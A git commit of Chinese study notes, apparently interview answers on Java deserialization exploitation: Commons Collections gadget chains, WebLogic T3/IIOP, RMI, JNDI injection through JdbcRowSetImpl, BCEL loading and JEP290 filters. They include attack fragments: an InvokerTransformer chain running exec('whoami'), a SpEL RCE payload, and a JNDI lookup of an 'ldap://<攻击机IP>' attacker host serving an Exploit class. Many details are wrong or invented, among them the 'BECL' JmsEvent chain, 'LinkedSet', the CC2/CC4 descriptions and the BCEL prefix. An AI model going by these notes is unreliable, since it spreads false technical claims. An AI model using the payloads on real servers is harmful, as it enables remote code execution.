Add files via upload
This commit is contained in:
@@ -0,0 +1,36 @@
|
||||
### CC1、CC6 区别
|
||||
|
||||
**Commons Collections 1 (CC1) 利用链**
|
||||
|
||||
CC1 是最经典、最广为人知的 Commons Collections 反序列化利用链。它利用了 `InvokerTransformer` 这个转换器来反射调用任意方法
|
||||
|
||||
**利用链核心原理**
|
||||
|
||||
CC1 利用链的核心思想是通过调用链,最终在反序列化过程中触发 `TemplatesImpl` 类的 `newTransformer` 方法,从而执行任意命令
|
||||
|
||||
1. **`InvokerTransformer`**:这是核心组件。它的 `transform()` 方法能够通过反射调用任意对象的任意方法。攻击者可以利用它来调用 `Runtime.getRuntime().exec()`
|
||||
2. **`InstantiateTransformer`**:这个转换器用于实例化一个对象,其 `transform()` 方法会调用构造函数。在利用链中,它常用来实例化 `InvokerTransformer` 对象
|
||||
3. **`LazyMap`**:这是一个延迟加载的 Map,它的 `get()` 方法会在键不存在时调用一个预设的转换器(Transformer)。攻击者可以将 `InvokerTransformer` 作为这个转换器,当对一个不存在的键进行 `get()` 操作时,就会触发 `InvokerTransformer` 的 `transform()` 方法
|
||||
4. **`AnnotationInvocationHandler`** 或 **`BadAttributeValueExpException`**:CC1 利用链通常需要一个入口点,来触发 `LazyMap` 的 `get()` 方法。在旧版本的 JDK 中,`AnnotationInvocationHandler` 的 `readObject()` 方法会在反序列化时自动调用其内部的 `Proxy` 对象的 `invoke()` 方法,从而间接触发 `LazyMap` 的 `get()`。对于新版本的 JDK,由于对 `AnnotationInvocationHandler` 进行了限制,攻击者转而利用 `BadAttributeValueExpException` 的 `readObject()` 方法
|
||||
|
||||
**Commons Collections 6 (CC6) 利用链**
|
||||
|
||||
CC6 旨在解决 CC1 在较新版本的库和 JDK 中失效的问题。它抛弃了 CC1 中常用的 `InvokerTransformer`,转而利用 `TiedMapEntry` 和 `LinkedSet` 等新的类来构造利用链
|
||||
|
||||
**利用链核心原理**
|
||||
|
||||
CC6 的核心思想是利用 `TiedMapEntry` 在反序列化时触发 `Map` 的 `get()` 方法,最终同样达到命令执行的目的
|
||||
|
||||
1. **`TiedMapEntry`**:这是 CC6 利用链的核心。它的 `toString()` 方法在调用时会触发其内部 `Map` 的 `get()` 方法
|
||||
2. **`AbstractMap$TansformMapDecorator`**:这是一个装饰器,它装饰了一个 Map,并用一个 `Transformer` 来处理其键值
|
||||
3. **`TransformedMap`**:当向这个 Map 添加元素时,其 `put()` 方法会调用一个预设的 `Transformer`
|
||||
4. **`LinkedSet`**:在 CC6 的利用中,攻击者通常会利用 `LinkedSet` 的 `equals()` 方法,该方法会遍历集合中的元素并调用它们的 `equals()`。通过精心构造 `LinkedSet`,可以使其内部的 `TiedMapEntry` 实例的 `toString()` 方法被调用
|
||||
5. **`InvokerTransformer` (再次出现)**:尽管 CC6 旨在避开 `InvokerTransformer`,但在某些变体中,它仍然可以作为最终的命令执行器。不同的是,CC6 利用链的触发点不再是 CC1 中的 `LazyMap`
|
||||
|
||||
| 特性 | Commons Collections 1 (CC1) | Commons Collections 6 (CC6) |
|
||||
| ---------- | -------------------------------------------------------- | ------------------------------------------------------------ |
|
||||
| 核心触发器 | LazyMap 的 get() 方法 | TiedMapEntry 的 toString() 方法 |
|
||||
| 主要攻击类 | InvokerTransformer, LazyMap, AnnotationInvocationHandler | TiedMapEntry, LinkedSet, TransformedMap |
|
||||
| 核心思想 | 通过 LazyMap 间接调用 InvokerTransformer | 通过 TiedMapEntry 的 toString() 调用 Map 的 get() |
|
||||
| 适用范围 | 较老的 Commons Collections 库版本,以及旧版 JDK | 较新的 Commons Collections 库版本,解决了 CC1 在新版本中的问题 |
|
||||
| 链条复杂性 | 相对简单,逻辑直接 | 相对复杂,涉及更多的类和间接调用 |
|
||||
@@ -0,0 +1,50 @@
|
||||
### 讲讲 IIOP 和 T3 反序列化原理
|
||||
|
||||
**1. IIOP (Internet Inter-Orb Protocol) 原理**
|
||||
|
||||
**IIOP** 是 **OMG CORBA**(Common Object Request Broker Architecture)规范的一部分,用于在不同平台、不同编程语言之间实现分布式对象的通信。Java 的 RMI-IIOP 是一个实现,它允许 RMI 对象通过 IIOP 协议进行通信。
|
||||
|
||||
**IIOP 工作原理**
|
||||
|
||||
IIOP 的核心是一个**通用的远程过程调用(RPC)**协议,它的目标是让远程对象调用看起来像本地调用一样简单
|
||||
|
||||
1. **对象序列化**:当客户端调用远程对象的方法时,方法名和参数会被序列化成二进制数据
|
||||
2. **网络传输**:这些数据通过 TCP/IP 传输到服务器
|
||||
3. **对象反序列化**:服务器接收到数据后,会将其反序列化成 Java 对象,并在远程对象上执行相应的方法
|
||||
|
||||
这个过程依赖于**通用互操作性**。IIOP 协议本身不限制传输的数据类型,任何实现了 `java.io.Serializable` 接口的对象都可以通过 IIOP 传输
|
||||
|
||||
**IIOP 反序列化漏洞原理**
|
||||
|
||||
IIOP 反序列化漏洞的原理与**RMI 反序列化**非常相似,因为它也基于 Java 的序列化机制
|
||||
|
||||
- **漏洞触发点**:IIOP 服务器(如 WebLogic)在处理客户端发送的请求时,会**自动对请求体中的对象进行反序列化**
|
||||
- **攻击链**:攻击者可以构造一个恶意的 IIOP 请求,其请求体中包含一个恶意的序列化对象,这个对象中嵌入了 Gadget Chain(如 `Apache Commons Collections`、`ysoserial` 生成的 Payload)
|
||||
- **远程代码执行(RCE)**:当服务器反序列化这个恶意对象时,就会触发 Gadget Chain,最终执行系统命令,从而实现 RCE
|
||||
|
||||
**2. T3 反序列化原理**
|
||||
|
||||
**T3** 是 **Oracle WebLogic Server** 独有的一个网络协议。它是 WebLogic 专用的、基于 TCP/IP 的二进制协议,用于 WebLogic 服务器、客户端、集群之间的通信。T3 协议在 WebLogic 的 RMI 实现中被广泛使用,其设计目标是为了优化性能和集群通信
|
||||
|
||||
**T3 工作原理**
|
||||
|
||||
T3 协议的本质是**在 Java 序列化之上,增加了自己的消息头和协议规范**。它定义了一系列消息类型,如`HELLO`、`CLUSTER`、`AUTHENTICATE` 等。每个消息体都是一个 Java 序列化对象
|
||||
|
||||
- **T3 消息头**:T3 协议有自己的消息头,包含版本信息、长度等
|
||||
- **Java 序列化对象**:消息头之后是 Java 序列化的对象数据
|
||||
|
||||
**T3 反序列化漏洞原理**
|
||||
|
||||
T3 反序列化漏洞是 WebLogic RCE 漏洞的经典类型,其原理与 IIOP 类似,但更具针对性
|
||||
|
||||
- **漏洞触发点**:攻击者发现 WebLogic T3 协议在处理某些特定消息时,**没有对传入的 Java 序列化对象进行严格的验证和过滤**。特别是当客户端发起一个合法的 T3 请求(如 `HELLO` 消息)后,服务端会接受一个后续的序列化对象
|
||||
- **攻击链**:攻击者可以向 WebLogic 的 T3 端口(通常是 7001)发送一个恶意的 T3 消息。这个消息体中,包含一个精心构造的序列化对象(如 `ysoserial` 生成的 Payload)
|
||||
- **远程代码执行(RCE)**:当 WebLogic 服务器反序列化这个对象时,就会触发恶意代码,例如利用 `CommonsCollections`、`Spring` 或其他依赖库中的 Gadget Chain,从而在服务器上执行命令
|
||||
|
||||
| 对比项 | IIOP 反序列化 | T3 反序列化 |
|
||||
| -------- | ---------------------------------------- | -------------------------------------- |
|
||||
| 协议类型 | 标准协议(CORBA 规范) | WebLogic 专用协议 |
|
||||
| 触发端口 | 通常是 WebLogic 的 IIOP 端口(如 7002) | WebLogic 的 T3 端口(如 7001) |
|
||||
| 漏洞本质 | Java 反序列化 | Java 反序列化 |
|
||||
| 利用方式 | 构造恶意的 IIOP 请求,包含序列化 Payload | 构造恶意的 T3 消息,包含序列化 Payload |
|
||||
| 影响范围 | 所有使用 IIOP 的应用服务器 | 主要是 Oracle WebLogic Server |
|
||||
@@ -0,0 +1,51 @@
|
||||
### Java invoke 反射具体利用
|
||||
|
||||
**1. `invoke` 反射的基础**
|
||||
|
||||
`java.lang.reflect.Method` 类的 `invoke()` 方法是反射的核心。它的签名如下:
|
||||
|
||||
```java
|
||||
public Object invoke(Object obj, Object... args)
|
||||
throws IllegalAccessException, IllegalArgumentException, InvocationTargetException
|
||||
```
|
||||
|
||||
- `obj`:要调用方法的对象实例。如果是静态方法,`obj` 可以为 `null`
|
||||
- `args`:调用方法时传入的参数
|
||||
|
||||
**利用方式**:通过 `invoke`,你可以在不知道类名、方法名和参数类型的情况下,动态地调用任何方法。这正是它成为漏洞利用利器的原因
|
||||
|
||||
**2. `invoke` 反射在反序列化中的利用**
|
||||
|
||||
在 Java 反序列化漏洞中,`invoke` 反射通常用于构建 **Gadget Chain**,实现远程代码执行(RCE)
|
||||
|
||||
**场景**:`Apache Commons Collections` 反序列化漏洞
|
||||
|
||||
- **核心 Gadget**:`InvokerTransformer`。它的 `transform()` 方法正是利用了 `invoke` 反射
|
||||
- **攻击链**:
|
||||
1. 攻击者构造一个 `ChainedTransformer`,并将其与一系列 `Transformer` 组合
|
||||
2. 其中,最关键的 `Transformer` 就是 `InvokerTransformer`。攻击者会多次使用它来构建命令执行链
|
||||
3. **第一次 `invoke`**:
|
||||
- `Transformer` 实例:`new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})`
|
||||
- 攻击者传入 `java.lang.Runtime` 类作为 `obj`,`invoke` 方法会调用 `java.lang.Runtime.class.getMethod("getRuntime")`
|
||||
- 这会返回一个 `Method` 对象,指向 `getRuntime()` 方法
|
||||
4. **第二次 `invoke`**:
|
||||
- `Transformer` 实例:`new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})`
|
||||
- 攻击者传入上一步返回的 `Method` 对象作为 `obj`,`invoke` 方法会调用 `getRuntime().invoke(null, null)`
|
||||
- 这会返回一个 `Runtime` 实例
|
||||
5. **第三次 `invoke`**:
|
||||
- `Transformer` 实例:`new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"whoami"})`
|
||||
- 攻击者传入上一步返回的 `Runtime` 实例作为 `obj`,`invoke` 方法会调用 `runtime.exec("whoami")`
|
||||
- **最终结果**:通过三次 `invoke` 反射的串联,实现了从获取 `Runtime` 实例到执行系统命令的完整攻击过程
|
||||
|
||||
**3. `invoke` 反射在表达式注入中的利用**
|
||||
|
||||
在表达式语言(如 SpEL、OGNL)注入漏洞中,`invoke` 反射是实现 RCE 的主要手段
|
||||
|
||||
**场景**:Spring SpEL 注入
|
||||
|
||||
- **攻击 Payload**:`T(java.lang.Runtime).getRuntime().exec("whoami")`
|
||||
- **攻击链**:当 Spring 解析这个表达式时,它会执行以下步骤:
|
||||
1. **`T()`**:表达式引擎通过反射找到并获取 `java.lang.Runtime` 类对象
|
||||
2. **`getRuntime()`**:表达式引擎调用 `java.lang.Runtime` 类的**静态方法** `getRuntime()`。这个过程在底层也是通过 `invoke` 反射实现的,传入 `null` 作为对象实例
|
||||
3. **`exec()`**:表达式引擎调用上一步返回的 `Runtime` 实例的 `exec("whoami")` 方法
|
||||
- **最终结果**:成功执行系统命令
|
||||
@@ -0,0 +1,22 @@
|
||||
### 讲一下 CC1-7 的原理
|
||||
|
||||
**CC1: `InvokerTransformer`**
|
||||
|
||||
- **原理**:这是最经典、最著名的利用链。它利用了 `InvokerTransformer` 这个类,它的 `transform` 方法可以通过反射调用任何对象的任何方法
|
||||
- **攻击链**:
|
||||
1. **`LazyMap`**:它是一个惰性加载的 Map,当访问一个不存在的键时,会调用一个 `Transformer` 来生成值
|
||||
2. **`InvokerTransformer`**:攻击者将 `InvokerTransformer` 封装到 `LazyMap` 中,并指定其调用 `Runtime.getRuntime().exec()` 方法
|
||||
3. **`AnnotationInvocationHandler`**:当 `LazyMap` 被反序列化时,`AnnotationInvocationHandler` 会调用它的 `invoke` 方法,从而触发 `LazyMap` 的 `get` 方法
|
||||
4. **`Runtime.exec()`**:最终,`LazyMap` 的 `get` 方法会调用 `InvokerTransformer`,通过反射执行 `Runtime.exec()`,从而执行任意命令
|
||||
- **绕过**:由于 `InvokerTransformer` 过于危险,它很快被许多安全框架和应用服务器加入了反序列化黑名单
|
||||
|
||||
**CC2-CC7:黑名单绕过与新 Gadget Chain 的发现**
|
||||
|
||||
在 CC1 被加入黑名单后,研究人员开始寻找新的、没有被列入黑名单的 Gadget Chain。这些新的利用链都遵循同样的原理,只是**利用了不同的类来构建多米诺骨牌**
|
||||
|
||||
- **CC2 (`j_object`)**:利用 `Spring` 框架中的 `Javassist` 类库。它通过 `ClassPathXmlApplicationContext` 加载一个远程 XML 文件,从而执行远程代码
|
||||
- **CC3 (`j_object`)**:利用 `AbstractMap` 的 `hashCode` 方法,通过 `equals` 方法来触发 `InvokerTransformer`
|
||||
- **CC4 (`j_object`)**:利用 `Spring` 的 `BadAttributeValueExpException` 类。当这个类被反序列化时,它的 `toString` 方法会被调用,从而触发 `InvokerTransformer`
|
||||
- **CC5 (`j_object`)**:这个利用链与 CC1 类似,但它通过 `TiedMapEntry` 来触发 `LazyMap`,从而绕过了一些针对 `AnnotationInvocationHandler` 的防御
|
||||
- **CC6 (`j_object`)**:这个利用链也使用了 `TiedMapEntry`,但它通过 `TiedMapEntry` 的 `toString` 方法来触发 `LazyMap`
|
||||
- **CC7 (`j_object`)**:这个利用链使用 `HashedMap` 的 `readObject` 方法来触发 `AbstractMap` 的 `put` 方法,最终触发 `InvokerTransformer`
|
||||
@@ -0,0 +1,32 @@
|
||||
### BECL 利用链使用条件及原理
|
||||
|
||||
**1. BECL 利用链核心原理**
|
||||
|
||||
BECL 利用链的核心原理可以概括为:**利用一个看似无害的内部类,间接调用受限的命令执行函数**
|
||||
|
||||
它主要利用了 `com.bea.core.event.JmsEvent` 类及其相关类的反序列化过程。当一个 `JmsEvent` 对象被反序列化时,它会触发一系列的事件监听器,其中一个监听器会调用 `execute()` 方法来执行一个命令
|
||||
|
||||
BECL 的攻击链通常如下:
|
||||
|
||||
1. **构造恶意对象:** 攻击者首先构造一个恶意的 Java 对象,该对象包含一个指向目标命令执行函数的引用。这个对象通常会利用 Java 的**反射机制**,指向 `java.lang.Runtime` 类的 `exec()` 方法
|
||||
2. **触发点:`com.bea.core.events.JmsEvent`**: 攻击者将上述恶意对象封装在一个 `JmsEvent` 对象中。当这个 `JmsEvent` 对象被反序列化时,它会触发 `readObject()` 方法
|
||||
3. **事件监听:`com.bea.core.events.SerializableEventListener`**: `JmsEvent` 的反序列化会调用 `com.bea.core.events.SerializableEventListener` 的 `handleEvent()` 方法
|
||||
4. **命令执行:`java.lang.Runtime.exec()`**: `SerializableEventListener` 的 `handleEvent()` 方法会进一步调用攻击者预设的恶意对象,最终导致 `java.lang.Runtime.exec()` 方法被执行,从而在服务器上执行任意系统命令
|
||||
|
||||
**简单来说,BECL 利用链就像一个接力赛:**
|
||||
|
||||
- **第一棒(攻击者):** 构造恶意序列化数据
|
||||
- **第二棒(`JmsEvent`):** 接收并开始反序列化
|
||||
- **第三棒(`SerializableEventListener`):** 自动被触发,并调用下一步
|
||||
- **第四棒(反射调用):** 恶意代码被执行,如 `Runtime.exec("your_command")`
|
||||
|
||||
这个过程巧妙地绕过了黑名单,因为被直接反序列化的 `JmsEvent` 类本身是 WebLogic 内部的合法组件,并不在黑名单上
|
||||
|
||||
**3. BECL 利用链的使用条件**
|
||||
|
||||
要成功利用 BECL 攻击链,必须满足以下几个关键条件:
|
||||
|
||||
1. **存在反序列化漏洞:** 这是所有反序列化漏洞利用的前提。目标服务器必须存在一个可被攻击者控制的、未经验证的反序列化入口点。例如,`t3`、`IIOP` 等协议都是常见的反序列化入口点
|
||||
2. **目标为 WebLogic Server:** BECL 利用链的 Gadget Chain 是**WebLogic 独有的**。因为它依赖于 `com.bea.core.event` 这个特定于 WebLogic 的类库。因此,这个利用链不适用于 JBoss、Tomcat 或其他应用服务器
|
||||
3. **未修补的 WebLogic 版本:** 漏洞利用链通常依赖于特定版本的软件。BECL 链主要影响**较早版本**的 WebLogic Server,特别是那些已经部署了黑名单,但仍未修复此漏洞的版本
|
||||
4. **可被利用的 JRE 类库:** 尽管 BECL 的核心 Gadget 在 WebLogic 中,但它通常还需要依赖 Java 环境中的其他类,比如 `java.lang.reflect` 等,来完成反射调用
|
||||
@@ -0,0 +1,24 @@
|
||||
### BCEL 可以用其他类加载器吗
|
||||
|
||||
### BCEL 与类加载器的关系
|
||||
|
||||
|
||||
|
||||
Java 类加载器(`ClassLoader`)负责在运行时将 `.class` 文件加载到 JVM 中。当一个类加载器加载字节码时,它会调用 `defineClass()` 方法,这个方法接受原始的字节码数据(一个字节数组),并将其转换为一个可用的 `Class` 对象
|
||||
|
||||
BCEL 正是在这个过程中发挥作用的。
|
||||
|
||||
- **步骤 1:恶意字节码生成**:攻击者使用 BCEL 或其他字节码操作库,编写一段恶意的 Java 代码,例如一个可以执行系统命令的 Shellcode。然后,将这段 Java 代码编译成原始的**字节码数组**
|
||||
- **步骤 2:编码和传输**:为了绕过一些安全过滤,攻击者会使用 BCEL 提供的编码功能,将这个字节码数组编码成一个字符串。这种编码格式以 `$**BCEL$$` 开头,比如 `$**BCEL$$` + Base64 编码的字节码
|
||||
- **步骤 3:利用类加载器**:攻击者找到一个存在漏洞的应用程序,该程序在处理用户输入时,会使用一个**可以加载并执行字节码**的类加载器。攻击者将前面编码好的 BCEL 字符串作为输入发送给应用程序
|
||||
- **步骤 4:解码和加载**:应用程序在处理这个字符串时,会调用 `sun.misc.BASE64Decoder`(或其他解码器)来解码这个字符串,将其还原成原始的字节码数组。然后,应用程序会使用一个**类加载器**,调用其 `defineClass()` 方法,将这个字节码加载到内存中
|
||||
- **步骤 5:反射执行**:一旦恶意字节码被加载成 `Class` 对象,攻击者就可以通过反射,调用其 `newInstance()` 方法来创建实例,并执行其中的恶意代码,从而实现远程代码执行
|
||||
|
||||
**为什么需要其他类加载器?**
|
||||
|
||||
BCEL 漏洞利用链之所以成立,正是因为它**间接利用**了应用程序自身的类加载器。攻击者不需要自己上传一个类加载器,而是利用应用程序中已有的、可以加载字节码的类
|
||||
|
||||
例如,在一些特定的 Java 框架和库中,存在一些可以加载并执行字节码的类,比如:
|
||||
|
||||
- **`com.sun.org.apache.bcel.internal.util.ClassLoader`**:这是 Java 内部自带的一个类加载器,它能够直接从 BCEL 编码的字符串中加载类
|
||||
- **自定义的类加载器**:一些应用程序为了实现动态加载功能,可能会编写自己的类加载器。如果这些加载器没有做安全校验,同样可以被利用
|
||||
@@ -0,0 +1,18 @@
|
||||
### 了解 JEP290 的原理吗
|
||||
|
||||
**JEP290 的核心原理:反序列化白名单和黑名单**
|
||||
|
||||
JEP290 没有从根本上重写 Java 的反序列化机制,而是在现有机制之上,增加了一个**过滤层(Filter)**。这个过滤层在反序列化数据之前,会先对即将被实例化的类进行检查
|
||||
|
||||
JEP290 的核心思想可以概括为:**在反序列化过程中,根据一个可配置的白名单或黑名单,来决定哪些类可以被实例化**
|
||||
|
||||
它主要通过以下两种方式实现:
|
||||
|
||||
1. **全局配置**:在 JVM 启动时,可以通过设置系统属性来配置一个全局的过滤规则
|
||||
- **`jdk.serialFilter`**:这是最主要的系统属性。它的值是一个字符串,定义了允许或拒绝反序列化的类
|
||||
- **语法**:这个字符串支持简单的通配符和规则,例如:
|
||||
- `java.util.Collections.*`:允许反序列化 `java.util.Collections` 包下的所有类
|
||||
- `!org.apache.commons.collections.functors.InvokerTransformer`:**禁止**反序列化 `InvokerTransformer` 这个类
|
||||
- `*`:默认值,表示允许所有类
|
||||
- `;`:用于分隔多个规则
|
||||
2. **编程控制**:开发者可以在自己的代码中,通过 `ObjectInputStream` 类提供的 `setObjectInputFilter()` 方法,在运行时为特定的反序列化流设置一个临时的过滤器。这使得开发者可以根据自己的业务需求,对反序列化进行更精细的控制
|
||||
@@ -0,0 +1,48 @@
|
||||
### 讲下 RMI 原理以及相关的漏洞
|
||||
|
||||
**1. RMI 原理**
|
||||
|
||||
**RMI(Remote Method Invocation)**,是 Java 远程方法调用的缩写。简单来说,它是一种 Java 编程技术,允许你在一个 Java 虚拟机(JVM)上运行的代码,调用另一个不同 JVM 上的对象的方法。这使得分布式应用开发变得相对简单,因为你可以像调用本地对象一样调用远程对象的方法
|
||||
|
||||
RMI 的核心思想是存根(Stub)和骨架(Skeleton)
|
||||
|
||||
- **客户端(Client)**:
|
||||
- **存根(Stub)**:这是一个本地代理对象,它实现了远程对象的接口。客户端调用远程方法时,实际上是在调用存根上的本地方法。存根负责将方法调用信息(方法名、参数等)打包,并发送给远程服务器
|
||||
- **服务器端(Server)**:
|
||||
- **远程对象(Remote Object)**:这是真正提供服务、执行方法的对象
|
||||
- **骨架(Skeleton)**:一个中间层对象,它监听客户端的请求。当收到存根发来的请求时,骨架负责解析请求,找到相应的远程对象,调用其方法,并将结果打包返回给客户端
|
||||
|
||||
**RMI 工作流程**
|
||||
|
||||
1. **注册**:服务器端创建一个远程对象,并通过一个**注册中心(RMI Registry)**将其注册。注册中心会绑定远程对象和服务名,例如 `rmi://server:port/serviceName`
|
||||
2. **查找**:客户端通过服务名向注册中心查找远程对象。注册中心会返回一个存根对象给客户端
|
||||
3. **调用**:客户端调用存根上的方法
|
||||
4. **传输**:存根将方法调用信息序列化并通过网络发送给服务器端的骨架
|
||||
5. **执行**:骨架反序列化信息,调用远程对象上的实际方法,并将结果序列化后返回
|
||||
6. **返回**:客户端的存根接收到结果并反序列化,然后返回给客户端
|
||||
|
||||
**2. RMI 相关漏洞**
|
||||
|
||||
RMI 的安全问题主要源于其**依赖 Java 对象的序列化和反序列化机制**。这种机制本身就是高风险的,因为它默认信任所有传入的对象。攻击者可以利用这一特性,构造恶意的序列化对象,在反序列化时触发攻击
|
||||
|
||||
**漏洞一:RMI 序列化漏洞(反序列化漏洞)**
|
||||
|
||||
这是 RMI 最常见也是最危险的漏洞类型。
|
||||
|
||||
- **原理**:在 RMI 的调用过程中,客户端和服务端会相互发送序列化的对象。攻击者可以利用这个机制,构造一个包含恶意 Payload 的序列化对象。当服务器在**反序列化**这个对象时,如果其所依赖的库中存在可被利用的 Gadget Chain(例如 `Apache Commons Collections`),就会导致远程代码执行(RCE)
|
||||
- **攻击利用**:攻击者首先需要确定 RMI 服务器的地址和端口。然后,他们会使用工具(例如 `ysoserial`)来生成一个恶意的序列化 Payload。最后,通过向 RMI 接口发送这个 Payload,即可触发反序列化攻击
|
||||
- **影响**:这是一种**高危 RCE 漏洞**,可以使攻击者在未授权的情况下完全控制服务器
|
||||
|
||||
**漏洞二:RMI 弱口令漏洞**
|
||||
|
||||
- **原理**:如果 RMI Registry 的管理接口存在弱口令,攻击者就可以登录并执行恶意操作
|
||||
- **攻击利用**:攻击者可以尝试对 RMI Registry 的管理接口进行暴力破解或字典攻击。一旦获得权限,就可以修改、删除或注册恶意服务
|
||||
|
||||
**漏洞三:RMI Registry 绑定漏洞**
|
||||
|
||||
- **原理**:某些情况下,RMI Registry 允许任何客户端绑定新的远程对象。如果应用程序没有对这个功能进行严格的权限控制,攻击者就可以注册一个恶意的远程对象
|
||||
- **攻击利用**:攻击者可以注册一个带有恶意方法的远程对象。然后,他们可以诱导受害者或通过其他方式调用这个恶意方法,从而实现攻击
|
||||
|
||||
**漏洞四:RMI SSL/TLS 证书验证漏洞**
|
||||
|
||||
- **原理**:RMI 可以配置为使用 SSL/TLS 进行安全通信。但如果客户端没有正确验证服务器的 SSL 证书,攻击者就可以进行**中间人攻击(MitM)**,从而窃取敏感信息或篡改通信内容
|
||||
@@ -0,0 +1,36 @@
|
||||
### JdbcRowSetImpl 如何触发的 JNDI 注入
|
||||
|
||||
**1. 核心原理:`setDataSourceName()` 与 JNDI**
|
||||
|
||||
`com.sun.rowset.JdbcRowSetImpl` 是一个 JDK 自带的类,它实现了 `RowSet` 接口。`JdbcRowSetImpl` 的一个核心功能就是通过 **`DataSource`** 来连接数据库
|
||||
|
||||
- **`DataSource`**:`DataSource` 是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定
|
||||
- **`setDataSourceName()`**:当调用 `JdbcRowSetImpl` 的 `setDataSourceName()` 方法时,它会设置一个 JNDI 查找名称
|
||||
- **`connect()`**:当 `JdbcRowSetImpl` 尝试建立连接时,会调用 `connect()` 方法,这个方法会使用 `InitialContext` 类,对 `setDataSourceName()` 设置的名称进行 JNDI 查找
|
||||
|
||||
**问题的关键在于**:当 `InitialContext` 查找的 URL 指向一个**远程的 RMI/LDAP 服务器**时,它会**自动下载并加载**服务器上绑定的 Java 对象
|
||||
|
||||
**2. 漏洞触发的完整过程**
|
||||
|
||||
攻击者就是利用这一点,将恶意服务器的地址作为 `DataSourceName`,让目标服务器在反序列化时,主动去下载和执行恶意代码
|
||||
|
||||
1. **攻击者搭建恶意服务**:
|
||||
- 攻击者首先需要搭建一个恶意的 **LDAP 或 RMI 服务器**
|
||||
- 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个**`Exploit.java`**文件,它包含了一个 `static` 静态代码块,可以在被加载时自动执行,例如执行 `Runtime.exec()` 命令
|
||||
2. **构造恶意 Payload**:
|
||||
- 攻击者构造一个恶意的序列化 `JdbcRowSetImpl` 对象
|
||||
- 在这个对象中,攻击者会利用反射等方法,将 `DataSourceName` 属性设置为恶意服务的地址
|
||||
- 例如:`new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")`
|
||||
- **注意**:这里的 `ldap://` 是 JNDI 查找的协议,`<攻击机IP>` 是攻击者服务器的地址,`Exploit` 是攻击者在服务器上绑定的恶意对象名
|
||||
3. **发送 Payload**:
|
||||
- 攻击者将这个序列化后的 `JdbcRowSetImpl` 对象发送给存在反序列化漏洞的目标应用程序
|
||||
- 这个过程可以是通过 HTTP 请求、文件上传或其他方式
|
||||
4. **目标服务器反序列化**:
|
||||
- 目标应用程序接收到数据后,对 `JdbcRowSetImpl` 对象进行反序列化
|
||||
- 在反序列化过程中,`JdbcRowSetImpl` 的 `readObject()` 方法被调用
|
||||
- `readObject()` 方法会触发 `connect()` 方法的调用
|
||||
5. **触发 JNDI 注入**:
|
||||
- `connect()` 方法会使用 `InitialContext` 对恶意地址 `ldap://<攻击机IP>:<端口>/Exploit` 进行 JNDI 查找
|
||||
- 由于 `java.naming.factory.initial` 等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果
|
||||
- JVM 会连接到攻击者的 LDAP 服务器,下载并加载 `Exploit` 这个恶意对象
|
||||
- 当 `Exploit` 对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令
|
||||
@@ -0,0 +1,51 @@
|
||||
### CC 链四个 Transformer 区别
|
||||
|
||||
**1. `InvokerTransformer`**
|
||||
|
||||
`InvokerTransformer` 是最核心、最通用、也最经典的 `Transformer`
|
||||
|
||||
- **原理**:它通过 **Java 反射**来调用一个对象的方法。在它的 `transform()` 方法中,你可以指定一个**类名**、**方法名**和**方法参数**。`InvokerTransformer` 会反射调用你指定的方法,并返回结果
|
||||
- **如何触发命令执行**:
|
||||
1. 指定类为 `java.lang.Runtime`
|
||||
2. 指定方法为 `getMethod("getRuntime")`
|
||||
3. 指定参数为空
|
||||
4. 这会返回 `Runtime` 的实例
|
||||
5. 然后,再用另一个 `InvokerTransformer` 来调用 `exec()` 方法执行命令
|
||||
- **用途**:它是 `CommonsCollections1` 利用链的核心组件。由于其功能过于强大和通用,它也是第一个被安全防御工具(如黑名单)重点关注和拦截的类。
|
||||
|
||||
**2. `InstantiateTransformer`**
|
||||
|
||||
`InstantiateTransformer` 的功能是**实例化一个新对象**
|
||||
|
||||
- **原理**:它的 `transform()` 方法会根据你指定的类名,通过反射来调用其构造函数,从而创建一个新的对象实例
|
||||
- **如何触发命令执行**:
|
||||
1. 指定类为 `java.lang.Runtime`
|
||||
2. 指定构造函数为 `getConstructor()`
|
||||
3. 这会创建一个 `Runtime` 的实例
|
||||
4. 然后,再用 `InvokerTransformer` 来调用 `exec()` 方法
|
||||
- **用途**:它通常用于在没有 `Runtime` 实例的情况下,创建一个新的 `Runtime` 实例。它在某些特定的 Gadget Chain 中用于绕过对 `InvokerTransformer` 的直接调用
|
||||
|
||||
**3. `ConstantTransformer`**
|
||||
|
||||
`ConstantTransformer` 是一个非常简单的 `Transformer`
|
||||
|
||||
- **原理**:它的 `transform()` 方法会**直接返回一个你预先设置好的常量**,而不进行任何额外的操作
|
||||
- **如何触发命令执行**:它本身不能直接执行命令。它通常作为 Gadget Chain 中的**辅助组件**,用来提供一个常量值,比如提供一个 `Runtime` 实例
|
||||
1. 创建 `ConstantTransformer`,并传入 `Runtime.getRuntime()` 的实例
|
||||
2. 当 `transform()` 方法被调用时,它会返回这个 `Runtime` 实例
|
||||
- **用途**:它常被用于组合其他 `Transformer`,为攻击链提供必要的对象实例。例如,在 `CommonsCollections4` 利用链中,它被用来提供 `Runtime` 实例,然后由 `InvokerTransformer` 来调用 `exec()`
|
||||
|
||||
**4. `ChainedTransformer`**
|
||||
|
||||
`ChainedTransformer` 的功能是将多个 `Transformer` **串联起来**
|
||||
|
||||
- **原理**:它的 `transform()` 方法会按顺序调用一个 `Transformer` 数组中的每一个 `Transformer`。第一个 `Transformer` 的输出会作为第二个 `Transformer` 的输入,以此类推
|
||||
- **如何触发命令执行**:攻击者会将一个完整的攻击链(通常是 `ConstantTransformer` 和 `InvokerTransformer` 的组合)封装到一个 `ChainedTransformer` 中。当 `ChainedTransformer` 被反序列化时,它会按顺序调用这些 `Transformer`,最终触发命令执行
|
||||
- **用途**:`ChainedTransformer` 是所有 `CommonsCollections` 利用链的**核心驱动器**。它扮演着“执行引擎”的角色,将整个多米诺骨牌串联起来,确保它们能按正确的顺序倒下
|
||||
|
||||
| Transformer | 功能 | 在攻击链中的作用 |
|
||||
| ---------------------- | ------------------- | ------------------------------------------ |
|
||||
| InvokerTransformer | 反射调用方法 | 执行命令,是攻击链的核心 |
|
||||
